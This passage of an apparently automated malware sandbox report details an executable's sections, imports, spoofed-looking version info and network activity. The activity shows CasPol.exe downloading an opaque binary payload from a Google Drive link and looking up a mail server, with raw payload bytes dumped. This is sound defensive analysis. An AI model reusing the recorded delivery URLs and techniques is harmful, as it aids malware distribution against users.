.ndata 0x2b000 0x22000 0x0 False 0 empty 0.0 IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc 0x4d000 0x183d8 0x18400 False 0.234344797036 data 3.36320607814 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Name RVA Size Type Language Country
RT_BITMAP 0x4d430 0x368 data English United States
RT_ICON 0x4d798 0x10828 dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0
English United States
RT_ICON 0x5dfc0 0x25a8 data English United States
RT_ICON 0x60568 0x10a8 data English United States
RT_ICON 0x61610 0xea8 data English United States
RT_ICON 0x624b8 0x988 data English United States
RT_ICON 0x62e40 0x8a8 dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0
English United States
RT_ICON 0x636e8 0x6c8 data English United States
RT_ICON 0x63db0 0x568 GLS_BINARY_LSB_FIRST English United States
RT_ICON 0x64318 0x468 GLS_BINARY_LSB_FIRST English United States
RT_DIALOG 0x64780 0xb8 data English United States
RT_DIALOG 0x64838 0x144 data English United States
RT_DIALOG 0x64980 0x13c data English United States
RT_DIALOG 0x64ac0 0x100 data English United States
RT_DIALOG 0x64bc0 0x11c data English United States
RT_DIALOG 0x64ce0 0x60 data English United States
RT_GROUP_ICON 0x64d40 0x84 data English United States
RT_VERSION 0x64dc8 0x2d0 data English United States
RT_MANIFEST 0x65098 0x33e XML 1.0 document, ASCII text, with very long lines, with no line terminators
English United States
DLL Import
Sections
Resources
Imports
Copyright Joe Security LLC 2022 Page 22 of 50
ADVAPI32.dll RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW
DLL Import
Description Data
LegalCopyright Airborne, Inc.
FileVersion 25.15.14
CompanyName Owens & Minor Inc.
LegalTrademarks Pervasive Software Inc.
Comments McLeodUSA Incorporated
ProductName Metris Companies Inc
FileDescription Halliburton Co.
Translation 0x0409 0x04b0
Language of compilation system Country where language is spoken Map
English United States
Total Packets: 57
• 53 (DNS)
• 443 (HTTPS)
Version Infos
Possible Origin
Network Behavior
Network Port Distribution
Copyright Joe Security LLC 2022 Page 23 of 50
Timestamp Source Port Dest Port Source IP Dest IP
Apr 25, 2022 19:44:43.134061098 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.134124041 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.134375095 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.158224106 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.158253908 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.208697081 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.208837032 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.208965063 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.210283041 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.210485935 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.319658995 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.319715023 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.320535898 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.320827961 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.325155020 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.368051052 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.652560949 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.652708054 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.652787924 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.652847052 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.652919054 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.652951956 CEST 443 49745 142.250.185.174 192.168.11.20
Apr 25, 2022 19:44:43.652959108 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.653167009 CEST 49745 443 192.168.11.20 142.250.185.174
Apr 25, 2022 19:44:43.680975914 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.681040049 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.681246996 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.681746960 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.681777954 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.732490063 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.732769966 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.734153032 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.734333992 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.734347105 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.740844965 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.740854979 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.741131067 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.741281033 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.741619110 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.784006119 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.991038084 CEST 443 49746 172.217.16.129 192.168.11.20
TCP Packets
Copyright Joe Security LLC 2022 Page 24 of 50
Apr 25, 2022 19:44:43.991195917 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.991245031 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.992046118 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.992239952 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.992775917 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.992906094 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.992913961 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.992954016 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.994117022 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.994247913 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.994256973 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.994262934 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.994399071 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.994863987 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.995059013 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:43.995073080 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:43.995208979 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.001070023 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.001231909 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.001244068 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.001393080 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.001403093 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.001573086 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.001579046 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.001725912 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.002069950 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.002249956 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.002260923 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.002391100 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.002791882 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.002995014 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.003005028 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.003156900 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.003523111 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.003705978 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.003716946 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.003885031 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.004244089 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.004412889 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.004426003 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.004570007 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.004991055 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.005136967 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.005148888 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.005297899 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.005666018 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.005868912 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.005878925 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.006017923 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.006294012 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.006442070 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.006452084 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.006603003 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.006970882 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.007122993 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.007138014 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.007288933 CEST 49746 443 192.168.11.20 172.217.16.129
Apr 25, 2022 19:44:44.007637024 CEST 443 49746 172.217.16.129 192.168.11.20
Apr 25, 2022 19:44:44.007766962 CEST 443 49746 172.217.16.129 192.168.11.20
Timestamp Source Port Dest Port Source IP Dest IP
Copyright Joe Security LLC 2022 Page 25 of 50
Timestamp Source Port Dest Port Source IP Dest IP
Apr 25, 2022 19:44:43.101444960 CEST 57425 53 192.168.11.20 1.1.1.1
Apr 25, 2022 19:44:43.125305891 CEST 53 57425 1.1.1.1 192.168.11.20
Apr 25, 2022 19:44:43.654942036 CEST 56443 53 192.168.11.20 1.1.1.1
Apr 25, 2022 19:44:43.678642988 CEST 53 56443 1.1.1.1 192.168.11.20
Apr 25, 2022 19:44:55.453104973 CEST 53591 53 192.168.11.20 1.1.1.1
Apr 25, 2022 19:44:55.510546923 CEST 53 53591 1.1.1.1 192.168.11.20
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Apr 25, 2022 19:44:43.101444960 CEST 192.168.11.20 1.1.1.1 0x2f2c Standard query (0)
drive.google.com A (IP address) IN (0x0001)
Apr 25, 2022 19:44:43.654942036 CEST 192.168.11.20 1.1.1.1 0xe050 Standard query (0)
doc-0c-2o-docs.googleusercontent.com
A (IP address) IN (0x0001)
Apr 25, 2022 19:44:55.453104973 CEST 192.168.11.20 1.1.1.1 0x8a74 Standard query (0)
mail.ferdi.hu A (IP address) IN (0x0001)
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Apr 25, 2022 19:44:43.125305891 CEST
1.1.1.1 192.168.11.20 0x2f2c No error (0) drive.google.com 142.250.185.174 A (IP address) IN (0x0001)
Apr 25, 2022 19:44:43.678642988 CEST
1.1.1.1 192.168.11.20 0xe050 No error (0) doc-0c-2o-docs.googleusercontent.com
googlehosted.l.googleusercontent.com
CNAME (Canonical name)
IN (0x0001)
Apr 25, 2022 19:44:43.678642988 CEST
1.1.1.1 192.168.11.20 0xe050 No error (0) googlehosted.l.googleusercontent.com
172.217.16.129 A (IP address) IN (0x0001)
Apr 25, 2022 19:44:55.510546923 CEST
1.1.1.1 192.168.11.20 0x8a74 No error (0) mail.ferdi.hu 185.51.191.23 A (IP address) IN (0x0001)
drive.google.com
doc-0c-2o-docs.googleusercontent.com
Session ID Source IP Source Port Destination IPDestinationPort
Process
0 192.168.11.20 49745 142.250.185.174 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
TimestampkBytestransferred
Direction Data
2022-04-25 17:44:43 UTC 0 OUT GET /uc?export=download&id=1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTPS Proxied Packets
Copyright Joe Security LLC 2022 Page 26 of 50
2022-04-25 17:44:43 UTC 0 IN HTTP/1.1 303 See OtherContent-Type: application/binaryVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-SiteCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 25 Apr 2022 17:44:43 GMTLocation: https://doc-0c-2o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bp0aag9i5ef1cv699367mhnadd9582eu/1650908625000/16604084202803386675/*/1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM?e=downloadStrict-Transport-Security: max-age=31536000Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-F1UnuGuJ2GHT33HWLhk9aA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-platform=*, ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
TimestampkBytestransferred
Direction Data
Session ID Source IP Source Port Destination IPDestinationPort
Process
1 192.168.11.20 49746 172.217.16.129 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
TimestampkBytestransferred
Direction Data
2022-04-25 17:44:43 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bp0aag9i5ef1cv699367mhnadd9582eu/1650908625000/16604084202803386675/*/1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-2o-docs.googleusercontent.comConnection: Keep-Alive
Copyright Joe Security LLC 2022 Page 27 of 50
2022-04-25 17:44:43 UTC 2 IN HTTP/1.1 200 OKX-GUploader-UploadID: ADPycdtWwsUzDYdThBk8S_4RvyZ-NGVnFrAFa_Cc3g2ruXcyg4c-56USn--tDYpyTImFLpotSxvYos34-06Hn45Acnp69gAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: falseAccess-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environmentAccess-Control-Allow-Methods: GET,OPTIONSContent-Type: application/octet-streamContent-Disposition: attachment;filename="KEV_YaVmDv151.bin";filename*=UTF-8''KEV_YaVmDv151.binContent-Length: 214592Date: Mon, 25 Apr 2022 17:44:43 GMTExpires: Mon, 25 Apr 2022 17:44:43 GMTCache-Control: private, max-age=0X-Goog-Hash: crc32c=lIW88w==Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
2022-04-25 17:44:43 UTC 5 IN Data Raw: eb 89 7b a0 96 83 51 95 8e 78 b9 a6 dc 4b c2 42 0d b5 fe 09 49 90 75 76 83 c1 3f 36 3c 9a 12 48 35 1b bc 49 e2 bb 9c 04 a0 ab 54 6b 5c 19 9b ac ac ea 2d 98 3c 63 8a 1f 1a f2 45 ad 9d d0 3a 86 94 f0 8d 92 51 98 0f d7 d7 bc 30 75 25 18 ea 6e 63 58 90 ae f4 d3 48 f9 a0 a5 57 9f 04 f2 98 7f 7a 36 be 8a 74 9b f0 b0 82 da e2 52 d1 c4 af 46 07 b3 46 a0 2e 7d 6f 7a c7 6d f0 cb eb 57 d9 72 07 22 75 d6 9b ea 72 0e b1 27 4e 92 9f 45 5a 1e e3 67 2d 4a f7 0b e6 dd 2c dc ef 7f ba 9c 17 c8 77 75 18 69 2b 3a b4 6d 15 23 4f 5b cf 4c ec 63 56 87 fb b0 15 45 60 64 d5 ec e5 3b 01 de a1 42 18 53 63 b1 5b 90 15 b1 16 14 d1 f3 3d ab a0 b9 75 f3 ca 6c 8f b9 78 58 99 d2 00 4e 3e 0b 00 57 7d dd 28 9b f7 d4 d4 ce 71 27 ad e4 b7 23 25 7f 14 5e 5d a6 30 9f 58 1c 6c 67 8e 1b c8 23 3f Data Ascii: {QxKBIuv?6<H5ITk\-<cE:Q0u%ncXHWz6tRFF.}ozmWr"ur'NEZg-J,wui+:m#O[LcVE`d;BSc[=ulxXN>W}(q'#%^]0Xlg#?
2022-04-25 17:44:43 UTC 9 IN Data Raw: 5b 92 d3 84 ee c5 79 88 93 18 0b 54 1f 97 f1 d6 ab 7f 4b e9 c9 66 11 92 71 a8 43 fd 6b f1 8b 0d 75 17 a6 04 41 cb e4 4a d5 cc 19 06 c8 46 db 1c 70 9c a5 4e 50 b0 9d 2c 8a af 87 e7 a3 26 ed 90 36 bd fd e7 0d 2f ad c6 21 db 28 9a 68 5e 68 1b 81 ba 84 cf 0c 94 d5 35 a1 f7 ff 27 90 d0 97 84 29 2b 82 e2 28 c7 7d a6 b7 63 8e 10 82 f3 e9 91 ae 75 e5 00 c4 27 49 96 e8 7c f6 b9 00 a0 5f 94 92 33 3b 00 54 be bb 58 b1 10 69 36 fb cf 38 41 f1 09 fa 8a 4d e5 52 b0 e3 d7 68 36 5f be ad 99 fb c5 e0 24 44 0c 28 e1 54 40 55 05 74 ac 6f 5a d1 09 85 92 8d 55 ca 53 9d 1c 71 b3 36 b5 5e 44 2b 70 cf 0e 5f 63 a8 c9 37 67 86 a5 1d a6 13 51 dc 13 e5 14 f9 41 a5 00 a7 a7 cf e4 12 67 f4 eb 65 8f 30 45 d6 29 e7 40 e8 ba 9c 8c 55 f1 18 12 79 b6 15 86 a7 10 48 3b 49 1a b0 4f 8e d4 ef Data Ascii: [yTKfqCkuAJFpNP,&6/!(h^h5')+(}cu'I|_3;TXi68AMRh6_$D(T@UtoZUSq6^D+p_c7gQAge0E)@UyH;IO
2022-04-25 17:44:43 UTC 13 IN Data Raw: 7c ef 26 f0 cb 61 44 cb 60 1b 15 6e d8 9b 54 68 d0 82 8c 67 41 50 64 08 5e 28 14 0d 30 ad 47 81 af 47 bb e7 bf db f2 73 8f a3 57 7a 0a 0d 60 60 01 35 4c 09 5d 8b 03 b5 2c 69 e8 9f df 30 4a 45 09 f1 ec ef 4f 3d de a1 43 5b 1e 72 b9 3f 33 14 b1 cd 3d b7 b2 3d ab aa d6 04 f3 ca 66 7e b1 52 d3 90 d3 0d 21 4e 37 03 5d 6c dd 3f f4 9c d4 d4 c4 fe 74 86 8d b7 03 2f 10 7e 5e 5d ac 21 97 77 6f 6c 47 84 08 ce 09 9c 30 15 04 71 54 9b da 6d 3f fd 59 47 83 b0 38 0f ae 87 90 ea bb d5 a7 79 5a a0 64 47 6a f7 01 a7 55 27 e2 bc a2 63 7f af 85 71 09 a2 f6 b1 08 24 bd 5e 69 df ea 25 3e 25 1e 3e dd c9 25 a7 e7 64 0d bf 7b b5 65 35 0a a6 03 df 3a 3f c6 e9 81 69 0b 37 ca 0c b8 cb c4 3c 3f a5 e2 7a 54 df 54 13 9f 19 24 53 16 43 49 34 3b 91 00 7f f5 85 31 2e c0 2c c7 e3 53 39 b0 Data Ascii: |&aD`nThgAPd^(0GGsWz``5L],i0JEO=C[r?3==f~R!N7]l?t/~^]!wolG0qTm?YG8yZdGjU'cq$^i%>%>%d{e5:?i7<?zTT$SCI4;1.,S9
2022-04-25 17:44:43 UTC 16 IN Data Raw: 90 fc 6e c8 e0 28 3d 55 bc eb 32 13 e7 7c 95 b1 75 84 3f 09 1c 3e cb 10 6f e7 84 fb 54 2d cc 6b a4 f7 f5 f6 2b d2 ac b9 b1 32 cb e8 34 2d 9c 2f e1 50 e3 4e 16 4d dd 7b 59 75 ba 89 9e b1 08 dd 7b 0a 17 63 b8 4f bb 76 81 2d 58 85 18 d2 6e 0a c1 2f 5b e4 b3 35 38 b1 59 cc 79 d0 dd fb 45 01 1f 31 a2 6d ec 0f 0a ed fa 61 9d 84 c1 ac 64 e7 41 40 83 cb 98 41 ed 27 14 e4 b6 1f 52 a0 2e 21 e2 4b 1a b6 59 03 d3 ff d3 90 f0 54 84 aa 60 d4 91 ba 69 c8 c2 43 4e db 40 2b 89 03 f8 67 32 f1 a7 6c 33 f5 08 5a a1 f5 0a 70 f0 a1 83 25 87 05 5b 32 e1 77 94 f6 72 1f d6 1e 26 84 3d ff eb 7d 1c 26 19 b5 7a 36 f1 5a 02 e1 c6 8a fa a9 76 ee e6 3c 1d 64 45 ab 2d 94 cf 8a ef 28 b0 14 c0 68 69 f8 e4 49 32 49 ac 5b de 61 90 5c 09 c5 38 bb 52 19 4b 13 67 15 54 cb 82 32 af a8 d2 ef 74 Data Ascii: n(=U2|u?>oT-k+24-/PNM{Yu{cOv-Xn/[58YyE1madA@A'R.!KYT`iCN@+g2l3Zp%[2wr&=}&z6Zv<dE-(hiI2I[a\8RKgT2t
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 28 of 50
